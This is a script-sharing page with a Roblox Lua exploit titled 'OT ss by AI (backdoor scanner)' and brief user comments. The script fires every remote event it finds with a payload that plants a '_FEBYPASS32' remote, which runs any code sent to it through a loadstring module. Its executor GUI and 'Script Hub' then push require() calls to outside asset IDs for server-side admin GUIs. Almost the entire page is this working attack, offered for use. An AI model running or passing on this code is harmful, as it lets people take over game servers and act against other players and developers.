OT ss by AI (backdoor scanner)
Key Required

OT ss by AI (backdoor scanner)

Happy Homephamha280178phamha280178 3.3K views 385 executesUpdated Jan 30, 2026
5.0/ 5(1 votes)
10100% Positive
Lua Script•492 lines (18335 chars)
local Services = {
    Joints        = game:GetService("JointsService"),
    RS            = game:GetService("ReplicatedStorage"),
    TS            = game:GetService("TweenService"),
    Text          = game:GetService("TextService"),
    Players       = game:GetService("Players"),
    CoreGui       = game:GetService("CoreGui"),
}

local LocalPlayer = Services.Players.LocalPlayer
local playerName  = LocalPlayer and LocalPlayer.Name or "Player"

local CORNER_RADIUS = UDim.new(0, 12)
local TWEEN_FAST    = TweenInfo.new(0.22, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
local TWEEN_MED     = TweenInfo.new(0.28, Enum.EasingStyle.Quad,  Enum.EasingDirection.Out)
local TWEEN_SLOW    = TweenInfo.new(0.3,  Enum.EasingStyle.Sine)

local injected = false

local function createCorner(parent, radius)
    local c = Instance.new("UICorner")
    c.CornerRadius = radius or CORNER_RADIUS
    c.Parent = parent
    return c
end

local function createStroke(parent, thickness, color, trans, mode)
    local s = Instance.new("UIStroke")
    s.Thickness   = thickness or 1.5
    s.Color       = color     or Color3.fromRGB(220,220,220)
    s.Transparency = trans    or 0.4
    s.ApplyStrokeMode = mode or Enum.ApplyStrokeMode.Border
    s.Parent = parent
    return s
end

local function tween(obj, info, props)
    Services.TS:Create(obj, info, props):Play()
end

local function scanForRemotes(root, callback)
    for _, v in root:GetDescendants() do
        if (v:IsA("RemoteEvent") or v:IsA("RemoteFunction"))
        and not v.Name:lower():match("ban")
        and not v.Name:lower():match("kick") then
            callback(v)
        end
    end
end

local ScanGui = Instance.new("ScreenGui")
ScanGui.Name       = "OT_ss_Inject"
ScanGui.ResetOnSpawn = false
ScanGui.Parent     = Services.CoreGui

local ScanFrame = Instance.new("Frame")
ScanFrame.Size        = UDim2.new(0, 240, 0, 110)
ScanFrame.Position    = UDim2.new(0.5, -120, 0.4, -55)
ScanFrame.BackgroundColor3 = Color3.fromRGB(12,12,12)
ScanFrame.BorderSizePixel = 0
ScanFrame.Active      = true
ScanFrame.Draggable   = true
ScanFrame.Parent      = ScanGui
createCorner(ScanFrame, UDim.new(0,16))

createStroke(ScanFrame, 2.5, Color3.fromRGB(220,220,220), 0.25)

local ScanTitle = Instance.new("TextLabel", ScanFrame)
ScanTitle.Size               = UDim2.new(1,0,0,34)
ScanTitle.BackgroundTransparency = 1
ScanTitle.Text               = "OT ss - Inject"
ScanTitle.Font               = Enum.Font.GothamBlack
ScanTitle.TextSize           = 20
ScanTitle.TextColor3         = Color3.fromRGB(255,255,255)
ScanTitle.TextXAlignment     = Enum.TextXAlignment.Center

local ScanBtn = Instance.new("TextButton", ScanFrame)
ScanBtn.Size              = UDim2.new(0.82,0,0,44)
ScanBtn.Position          = UDim2.new(0.09,0,0.4,0)
ScanBtn.BackgroundColor3  = Color3.fromRGB(30,40,80)
ScanBtn.Text              = "SCAN & INJECT"
ScanBtn.Font              = Enum.Font.GothamBold
ScanBtn.TextSize          = 18
ScanBtn.TextColor3        = Color3.fromRGB(220,220,255)
createCorner(ScanBtn)

local StatusLabel = Instance.new("TextLabel", ScanFrame)
StatusLabel.Size              = UDim2.new(0.9,0,0,24)
StatusLabel.Position          = UDim2.new(0.05,0,0.82,0)
StatusLabel.BackgroundTransparency = 1
StatusLabel.Text              = "Press to bypass FE"
StatusLabel.Font              = Enum.Font.Gotham
StatusLabel.TextSize          = 14
StatusLabel.TextColor3        = Color3.fromRGB(170,170,170)
StatusLabel.TextXAlignment    = Enum.TextXAlignment.Center

local MainGui = Instance.new("ScreenGui")
MainGui.Name          = "OT_ss"
MainGui.ResetOnSpawn  = false
MainGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
MainGui.Enabled       = false
MainGui.Parent        = Services.CoreGui

local MainFrame = Instance.new("Frame", MainGui)
MainFrame.Size               = UDim2.new(0,340,0,240)
MainFrame.Position           = UDim2.new(0.5,-170,0.5,-120)
MainFrame.BackgroundColor3   = Color3.fromRGB(15,15,15)
MainFrame.BorderSizePixel    = 0
MainFrame.Active             = true
MainFrame.Draggable          = true
createCorner(MainFrame, UDim.new(0,16))

createStroke(MainFrame, 2.5, Color3.fromRGB(220,220,220), 0.3)

local TitleBar = Instance.new("Frame", MainFrame)
TitleBar.Size             = UDim2.new(1,0,0,36)
TitleBar.BackgroundColor3 = Color3.fromRGB(20,20,20)
TitleBar.BorderSizePixel  = 0
createCorner(TitleBar, UDim.new(0,16))

local TitleLabel = Instance.new("TextLabel", TitleBar)
TitleLabel.Size               = UDim2.new(0,120,1,0)
TitleLabel.Position           = UDim2.new(0,12,0,0)
TitleLabel.BackgroundTransparency = 1
TitleLabel.Text               = "OT ss"
TitleLabel.Font               = Enum.Font.GothamBlack
TitleLabel.TextSize           = 17
TitleLabel.TextColor3         = Color3.fromRGB(245,245,245)
TitleLabel.TextXAlignment     = Enum.TextXAlignment.Left
TitleLabel.TextTruncate       = Enum.TextTruncate.AtEnd

local function createTab(name, posX, active)
    local btn = Instance.new("TextButton", TitleBar)
    btn.Name              = "Tab" .. name
    btn.Size              = UDim2.new(0,86,0,28)
    btn.Position          = UDim2.new(1, posX, 0,4)
    btn.BackgroundColor3  = active and Color3.fromRGB(35,45,80) or Color3.fromRGB(25,25,35)
    btn.Text              = name
    btn.Font              = Enum.Font.GothamSemibold
    btn.TextSize          = 14
    btn.TextColor3        = active and Color3.fromRGB(220,220,255) or Color3.fromRGB(160,160,180)
    createCorner(btn, UDim.new(0,8))
    return btn
end

local TabExec = createTab("Executor", -220, true)
local TabHub  = createTab("Script Hub", -140, false)

local ExecContent = Instance.new("Frame", MainFrame)
ExecContent.Name      = "ExecutorContent"
ExecContent.Size      = UDim2.new(1,-20,1,-90)
ExecContent.Position  = UDim2.new(0,10,0,46)
ExecContent.BackgroundTransparency = 1
ExecContent.Visible   = true

local HubContent = Instance.new("Frame", MainFrame)
HubContent.Name       = "HubContent"
HubContent.Size       = UDim2.new(1,-20,1,-90)
HubContent.Position   = UDim2.new(0,10,0,46)
HubContent.BackgroundTransparency = 1
HubContent.Visible    = false

local ScrollFrame = Instance.new("ScrollingFrame", ExecContent)
ScrollFrame.Size                 = UDim2.new(1,0,1,0)
ScrollFrame.BackgroundColor3     = Color3.fromRGB(10,10,10)
ScrollFrame.BorderSizePixel      = 0
ScrollFrame.CanvasSize           = UDim2.new(0,0,0,0)
ScrollFrame.ScrollBarThickness   = 4
ScrollFrame.ScrollBarImageColor3 = Color3.fromRGB(100,100,100)
createCorner(ScrollFrame, UDim.new(0,10))

local CodeBox = Instance.new("TextBox", ScrollFrame)
CodeBox.Size                 = UDim2.new(1,-16,1,-16)
CodeBox.Position             = UDim2.new(0,8,0,8)
CodeBox.BackgroundTransparency = 1
CodeBox.TextColor3           = Color3.fromRGB(235,235,245)
CodeBox.Font                 = Enum.Font.Code
CodeBox.TextSize             = 15
CodeBox.MultiLine            = true
CodeBox.TextWrapped          = true
CodeBox.ClearTextOnFocus     = false
CodeBox.TextXAlignment       = Enum.TextXAlignment.Left
CodeBox.TextYAlignment       = Enum.TextYAlignment.Top
CodeBox.PlaceholderText      = "--- enter script here... ---"
CodeBox.PlaceholderColor3    = Color3.fromRGB(110,110,130)
CodeBox.Text                 = ""

local boxStroke = createStroke(CodeBox, 1.2, Color3.fromRGB(140,160,255), 0.7)
boxStroke.Enabled = false

local placeholderCleared = false

local function updateCanvasSize()
    local content = CodeBox.Text ~= "" and CodeBox.Text or CodeBox.PlaceholderText
    local textSize = Services.Text:GetTextSize(
        content,
        CodeBox.TextSize,
        CodeBox.Font,
        Vector2.new(ScrollFrame.AbsoluteSize.X - 36, math.huge)
    )
    local height = math.max(textSize.Y + 40, ScrollFrame.AbsoluteSize.Y - 16)
    CodeBox.Size     = UDim2.new(1, -16, 0, height)
    ScrollFrame.CanvasSize = UDim2.new(0, 0, 0, height + 16)
end

CodeBox.Focused:Connect(function()
    if not placeholderCleared and CodeBox.Text == "" then
        CodeBox.Text = ""
        placeholderCleared = true
    end
    boxStroke.Enabled = true
    tween(boxStroke, TWEEN_FAST, {Transparency = 0.35})
end)

CodeBox.FocusLost:Connect(function()
    if CodeBox.Text == "" then
        placeholderCleared = false
        tween(boxStroke, TWEEN_MED, {Transparency = 0.7})
    else
        tween(boxStroke, TWEEN_FAST, {Transparency = 0.4})
    end
    boxStroke.Enabled = CodeBox.Text ~= ""
end)

CodeBox.MouseEnter:Connect(function()
    if boxStroke.Transparency > 0.5 then
        tween(boxStroke, TWEEN_FAST, {Transparency = 0.45})
    end
end)

CodeBox.MouseLeave:Connect(function()
    if not CodeBox:IsFocused() then
        tween(boxStroke, TWEEN_MED, {Transparency = 0.7})
    end
end)

CodeBox:GetPropertyChangedSignal("Text"):Connect(updateCanvasSize)
CodeBox:GetPropertyChangedSignal("TextSize"):Connect(updateCanvasSize)
ScrollFrame:GetPropertyChangedSignal("AbsoluteSize"):Connect(updateCanvasSize)
updateCanvasSize()

local function createActionButton(text, xOffset, baseColor, callback)
    local btn = Instance.new("TextButton", ExecContent)
    btn.Size              = UDim2.new(0,150,0,36)
    btn.Position          = UDim2.new(0, xOffset, 1, -18)
    btn.BackgroundColor3  = baseColor
    btn.Text              = text
    btn.Font              = Enum.Font.GothamSemibold
    btn.TextSize          = 15
    btn.TextColor3        = Color3.fromRGB(220,220,220)
    createCorner(btn)

    local strk = createStroke(btn, 1.6, Color3.fromRGB(220,220,220), 0.4)

    btn.MouseEnter:Connect(function()
        tween(btn,  TWEEN_FAST, {BackgroundColor3 = baseColor + Color3.fromRGB(25,25,25)})
        tween(strk, TWEEN_FAST, {Transparency = 0.15})
    end)

    btn.MouseLeave:Connect(function()
        tween(btn,  TWEEN_FAST, {BackgroundColor3 = baseColor})
        tween(strk, TWEEN_FAST, {Transparency = 0.4})
    end)

    btn.MouseButton1Click:Connect(callback)
end

createActionButton("Execute", 18, Color3.fromRGB(35,45,80), function()
    local bypass = Services.RS:FindFirstChild("_FEBYPASS32")
    if bypass and bypass:IsA("RemoteEvent") then
        bypass:FireServer(CodeBox.Text)
    end
end)

createActionButton("Clear", 340 - 150 - 18 - 10, Color3.fromRGB(70,30,35), function()
    CodeBox.Text = ""
    placeholderCleared = false
    updateCanvasSize()
end)

local CloseBtn = Instance.new("TextButton", MainFrame)
CloseBtn.Size              = UDim2.new(0,32,0,32)
CloseBtn.Position          = UDim2.new(1,-45,0,2)
CloseBtn.BackgroundColor3  = Color3.fromRGB(80,30,30)
CloseBtn.Text              = "Ă—"
CloseBtn.Font              = Enum.Font.GothamBold
CloseBtn.TextSize          = 20
CloseBtn.TextColor3        = Color3.fromRGB(255,200,200)
createCorner(CloseBtn, UDim.new(1,0))

CloseBtn.MouseButton1Click:Connect(function()
    MainGui.Enabled = false
end)

local ToggleGui = Instance.new("ScreenGui")
ToggleGui.Name       = "ToggleE"
ToggleGui.ResetOnSpawn = false
ToggleGui.Enabled    = false
ToggleGui.Parent     = Services.CoreGui

local EBtn = Instance.new("TextButton", ToggleGui)
EBtn.Size              = UDim2.new(0,72,0,72)
EBtn.Position          = UDim2.new(0,18,1,-95)
EBtn.BackgroundColor3  = Color3.fromRGB(18,18,32)
EBtn.Text              = "E"
EBtn.Font              = Enum.Font.GothamBlack
EBtn.TextSize          = 44
EBtn.TextColor3        = Color3.fromRGB(255,255,255)
EBtn.BorderSizePixel   = 0
createCorner(EBtn, UDim.new(1,0))

local grad = Instance.new("UIGradient", EBtn)
grad.Color = ColorSequence.new{
    ColorSequenceKeypoint.new(0,   Color3.fromRGB(255,255,255)),
    ColorSequenceKeypoint.new(0.5, Color3.fromRGB(180,220,255)),
    ColorSequenceKeypoint.new(1,   Color3.fromRGB(140,200,255)),
}
grad.Rotation = 135

local eStroke = createStroke(EBtn, 4.5, Color3.fromRGB(220,220,255), 0.25)
local eGlow   = createStroke(EBtn, 10,   Color3.fromRGB(160,210,255), 0.55)

local originalEBtnSize = EBtn.Size

local function pulseGlowLoop()
    while ToggleGui.Enabled do
        tween(eGlow, TweenInfo.new(1.8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {Transparency = 0.35})
        task.wait(1.8)
        tween(eGlow, TweenInfo.new(1.8, Enum.EasingStyle.Sine, Enum.EasingDirection.InOut), {Transparency = 0.65})
        task.wait(1.8)
    end
end

EBtn.MouseEnter:Connect(function()
    tween(EBtn,   TWEEN_MED, {Size = originalEBtnSize * 1.12, BackgroundColor3 = Color3.fromRGB(35,35,65)})
    tween(eStroke,TWEEN_MED, {Thickness = 6, Transparency = 0.05})
    tween(eGlow,  TWEEN_MED, {Transparency = 0.25})
end)

EBtn.MouseLeave:Connect(function()
    tween(EBtn,   TWEEN_MED, {Size = originalEBtnSize, BackgroundColor3 = Color3.fromRGB(18,18,32)})
    tween(eStroke,TWEEN_MED, {Thickness = 4.5, Transparency = 0.25})
    tween(eGlow,  TWEEN_MED, {Transparency = 0.55})
end)

EBtn.MouseButton1Down:Connect(function()
    tween(EBtn, TweenInfo.new(0.09), {Size = originalEBtnSize * 0.82})
end)

EBtn.MouseButton1Up:Connect(function()
    tween(EBtn, TweenInfo.new(0.2, Enum.EasingStyle.Back, Enum.EasingDirection.Out), {Size = originalEBtnSize})
    MainGui.Enabled = not MainGui.Enabled
end)

ToggleGui:GetPropertyChangedSignal("Enabled"):Connect(function()
    if ToggleGui.Enabled then
        task.spawn(pulseGlowLoop)
    end
end)

local HubScroll = Instance.new("ScrollingFrame", HubContent)
HubScroll.Size                 = UDim2.new(1,0,1,0)
HubScroll.BackgroundTransparency = 1
HubScroll.ScrollBarThickness   = 4
HubScroll.CanvasSize           = UDim2.new(0,0,0,390)

local listLayout = Instance.new("UIListLayout", HubScroll)
listLayout.Padding            = UDim.new(0,10)
listLayout.HorizontalAlignment = Enum.HorizontalAlignment.Center
listLayout.VerticalAlignment   = Enum.VerticalAlignment.Top
listLayout.SortOrder           = Enum.SortOrder.LayoutOrder

local hubScripts = {
    {"KoopGui V11",     [[require(15267263357).V11("]] .. playerName .. [[")]]},
    {"Rc7",             [[require(12350030542).RC7("]] .. playerName .. [[")]]},
    {"Happy Hub",       [[require(135231466738957):Hload("]] .. playerName .. [[")]]},
    {"Polaria",         [[require(110951620907921):Pload("]] .. playerName .. [[")]]},
    {"Sensation Hub",   [[require(100263845596551)("]] .. playerName .. [[")]]},
    {"Pepsi gui",   [[require(113825094179678).pepsi("]] .. playerName .. [[")]]},
    {"Catlol",   [[require(77579329778474).catlol("]] .. playerName .. [[")]]},
    {"IDE",   [[require(121425622240385).dominantultimate("]] .. playerName .. [[")]]},
}

for _, data in ipairs(hubScripts) do
    local name, template = data[1], data[2]

    local btn = Instance.new("TextButton")
    btn.Size              = UDim2.new(0.9,0,0,40)
    btn.BackgroundColor3  = Color3.fromRGB(35,45,80)
    btn.Text              = name
    btn.Font              = Enum.Font.GothamSemibold
    btn.TextSize          = 16
    btn.TextColor3        = Color3.fromRGB(220,220,255)
    createCorner(btn)

    createStroke(btn, 1.5, Color3.fromRGB(140,160,255), 0.6)

    btn.MouseButton1Click:Connect(function()
        CodeBox.Text = template
        updateCanvasSize()
        ExecContent.Visible = true
        HubContent.Visible  = false
        TabExec.BackgroundColor3 = Color3.fromRGB(35,45,80)
        TabExec.TextColor3       = Color3.fromRGB(220,220,255)
        TabHub.BackgroundColor3  = Color3.fromRGB(25,25,35)
        TabHub.TextColor3        = Color3.fromRGB(160,160,180)
    end)

    btn.MouseEnter:Connect(function()
        tween(btn, TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(45,55,90)})
    end)
    btn.MouseLeave:Connect(function()
        tween(btn, TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(35,45,80)})
    end)

    btn.Parent = HubScroll
end

local function switchTab(isExecutor)
    ExecContent.Visible = isExecutor
    HubContent.Visible  = not isExecutor

    if isExecutor then
        tween(TabExec, TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(35,45,80),  TextColor3 = Color3.fromRGB(220,220,255)})
        tween(TabHub,  TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(25,25,35),  TextColor3 = Color3.fromRGB(160,160,180)})
    else
        tween(TabExec, TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(25,25,35),  TextColor3 = Color3.fromRGB(160,160,180)})
        tween(TabHub,  TWEEN_FAST, {BackgroundColor3 = Color3.fromRGB(35,45,80),  TextColor3 = Color3.fromRGB(220,220,255)})
    end
end

TabExec.MouseButton1Click:Connect(function() switchTab(true)  end)
TabHub.MouseButton1Click:Connect(function() switchTab(false) end)

ScanBtn.MouseButton1Click:Connect(function()
    if injected then return end

    ScanBtn.Text = "Scanning..."
    ScanBtn.BackgroundColor3 = Color3.fromRGB(50,50,90)
    StatusLabel.Text = "Bypassing FE..."

    local function tryInject(remote)
        local method = remote:IsA("RemoteEvent") and "FireServer"
                    or remote:IsA("RemoteFunction") and "InvokeServer"

        if not method then return end

        pcall(function()
            remote[method](remote, [[
                local RS = game:GetService("ReplicatedStorage")
                if not RS:FindFirstChild("_FEBYPASS32") then
                    local e = Instance.new("RemoteEvent")
                    e.Name = "_FEBYPASS32"
                    e.Parent = RS
                    
                    local loadstring = require(13684410229)
                    e.OnServerEvent:Connect(function(plr, code)
                        loadstring(code)()
                    end)
                end
            ]])
        end)
    end

    scanForRemotes(Services.RS,     tryInject)
    scanForRemotes(workspace,       tryInject)
    scanForRemotes(game.Lighting,   tryInject)

    local waited = 0
    while not Services.RS:FindFirstChild("_FEBYPASS32") and waited < 10 do
        task.wait(0.1)
        waited += 0.1
    end

    if Services.RS:FindFirstChild("_FEBYPASS32") then
        injected = true
        StatusLabel.Text = "Bypass Success ✓"
        StatusLabel.TextColor3 = Color3.fromRGB(120,255,140)
        ScanBtn.Text = "Done"
        ScanBtn.BackgroundColor3 = Color3.fromRGB(30,80,40)

        MainGui.Enabled   = true
        ToggleGui.Enabled = true

        task.delay(1.2, ScanGui.Destroy, ScanGui)
    else
        StatusLabel.Text = "Failed - Retry?"
        StatusLabel.TextColor3 = Color3.fromRGB(255,120,120)
        ScanBtn.Text = "RETRY"
        ScanBtn.BackgroundColor3 = Color3.fromRGB(80,30,30)
    end
end)

Features & Information

Excutor require script

Community Comments (6)

_AAA_AAAJan 30, 2026

Why rename?

Replying to @_AAA
phamha280178phamha280178Jan 30, 2026

@_AAA idk:)

RDXRIHANRDXRIHANJan 30, 2026

Not ss beo

Replying to @RDXRIHAN
phamha280178phamha280178Jan 30, 2026

@RDXRIHAN join backdoor game

Pc*ieyonePc*ieyoneFeb 20, 2026

Come back and play

moxxie67moxxie67Feb 27, 2026

tysm